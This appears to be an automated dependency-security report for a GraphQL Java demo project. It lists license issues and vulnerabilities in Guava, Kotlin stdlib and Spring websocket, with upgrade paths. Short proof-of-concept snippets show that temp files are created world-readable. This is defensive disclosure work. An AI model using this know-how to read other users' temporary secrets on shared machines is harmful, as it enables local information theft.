  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-websocket@2.1.6.RELEASE org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-websocket@2.1.6.RELEASE org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22

Dual license: EPL-1.0, LGPL-2.1

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-core
  • Introduced through: org.springframework.boot:spring-boot-starter-data-jpa@4.0.1, org.springframework.boot:spring-boot-starter-web@4.0.1 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.springframework.boot:spring-boot-starter-data-jpa@4.0.1 org.springframework.boot:spring-boot-starter-jdbc@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-thymeleaf@2.1.6.RELEASE org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-websocket@2.1.6.RELEASE org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-jackson@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-websocket@2.1.6.RELEASE org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter@4.0.1 org.springframework.boot:spring-boot-starter-logging@4.0.1 ch.qos.logback:logback-classic@1.5.22 ch.qos.logback:logback-core@1.5.22

Dual license: EPL-1.0, LGPL-2.1

medium severity

Dual license: EPL-1.0, MPL-2.0

  • Module: com.h2database:h2
  • Introduced through: com.h2database:h2@2.4.240

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.h2database:h2@2.4.240

Dual license: EPL-1.0, MPL-2.0

low severity

Creation of Temporary File in Directory with Insecure Permissions

  • Vulnerable module: com.google.guava:guava
  • Introduced through: com.google.guava:guava@28.2-jre, com.graphql-java-kickstart:graphql-java-tools@5.6.1 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.google.guava:guava@32.0.0-jre.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@6.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@7.0.1.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in FileBackedOutputStream. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.

NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.

Remediation

Upgrade com.google.guava:guava to version 32.0.0-android, 32.0.0-jre or higher.

References

low severity

Information Disclosure

  • Vulnerable module: com.google.guava:guava
  • Introduced through: com.google.guava:guava@28.2-jre, com.graphql-java-kickstart:graphql-java-tools@5.6.1 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.google.guava:guava@30.0-jre.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@6.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.google.guava:guava@28.2-jre
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@7.0.1.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Information Disclosure. The file permissions on the file created by com.google.common.io.Files.createTempDir allow an attacker running a malicious program co-resident on the same machine to steal secrets stored in this directory. This is because, by default, on unix-like operating systems the /tmp directory is shared between all users, so if the correct file permissions aren't set by the directory/file creator, the file becomes readable by all other users on that system.

PoC

File guavaTempDir = com.google.common.io.Files.createTempDir();
System.out.println("Guava Temp Dir: " + guavaTempDir.getName());
runLS(guavaTempDir.getParentFile(), guavaTempDir); // Prints the file permissions -> drwxr-xr-x
File child = new File(guavaTempDir, "guava-child.txt");
child.createNewFile();
runLS(guavaTempDir, child); // Prints the file permissions -> -rw-r--r--

For Android developers, choosing a temporary directory API provided by Android is recommended, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.

Remediation

There is no fix for com.google.guava:guava. However, in version 30.0 and above, the vulnerable functionality has been deprecated. In oder to mitigate this vulnerability, upgrade to version 30.0 or higher and ensure your dependencies don't use the createTempDir or createTempFile methods.

References

low severity

Information Exposure

  • Vulnerable module: org.jetbrains.kotlin:kotlin-stdlib
  • Introduced through: com.graphql-java-kickstart:graphql-java-tools@5.6.1 and com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@14.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@14.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@14.0.1.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 org.jetbrains.kotlin:kotlin-reflect@1.3.31 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.jetbrains.kotlinx:kotlinx-coroutines-reactive@1.2.1 org.jetbrains.kotlinx:kotlinx-coroutines-core@1.2.1 org.jetbrains.kotlin:kotlin-stdlib@1.3.31

Overview

org.jetbrains.kotlin:kotlin-stdlib is a Kotlin Standard Library for JVM.

Affected versions of this package are vulnerable to Information Exposure. A Kotlin application using createTempDir or createTempFile and placing sensitive information within either of these locations would be leaking this information in a read-only way to other users also on this system.

Note: As of version 1.4.21, the vulnerable functions have been marked as deprecated. Due to still being usable, this advisory is kept as "unfixed".

PoC by JLLeitschuh

package org.jlleitschuh.sandbox

import org.junit.jupiter.api.Test
import java.io.BufferedReader
import java.io.File
import java.io.IOException
import java.io.InputStreamReader
import java.nio.file.Files

class KotlinTempDirectoryPermissionCheck {
    @Test
    fun `kotlin check default directory permissions`() {
        val dir = createTempDir()
        runLS(dir.parentFile, dir) // Prints drwxr-xr-x
    }

    @Test
    fun `Files check default directory permissions`() {
        val dir = Files.createTempDirectory("random-directory")
        runLS(dir.toFile().parentFile, dir.toFile()) // Prints drwx------
    }

    @Test
    fun `kotlin check default file permissions`() {
        val file = createTempFile()
        runLS(file.parentFile, file) // Prints -rw-r--r--
    }

    @Test
    fun `Files check default file permissions`() {
        val file = Files.createTempFile("random-file", ".txt")
        runLS(file.toFile().parentFile, file.toFile()) // Prints -rw-------
    }

    private fun runLS(file: File, lookingFor: File) {
        val processBuilder = ProcessBuilder()
        processBuilder.command("ls", "-l", file.absolutePath)
        try {
            val process = processBuilder.start()
            val output = StringBuilder()
            val reader = BufferedReader(
                InputStreamReader(process.inputStream)
            )
            reader.lines().forEach { line ->
                if (line.contains("total")) {
                    output.append(line).append('\n')
                }
                if (line.contains(lookingFor.name)) {
                    output.append(line).append('\n')
                }
            }
            val exitVal = process.waitFor()
            if (exitVal == 0) {
                println("Success!")
                println(output)
            } else {
                //abnormal...
            }
        } catch (e: IOException) {
            e.printStackTrace()
        } catch (e: InterruptedException) {
            e.printStackTrace()
        }
    }
}

Remediation

Upgrade org.jetbrains.kotlin:kotlin-stdlib to version 2.1.0 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-websocket
  • Introduced through: com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-websocket@2.1.6.RELEASE org.springframework:spring-websocket@5.1.8.RELEASE
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

org.springframework:spring-websocket is a framework that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-websocket to version 6.1.14 or higher.

References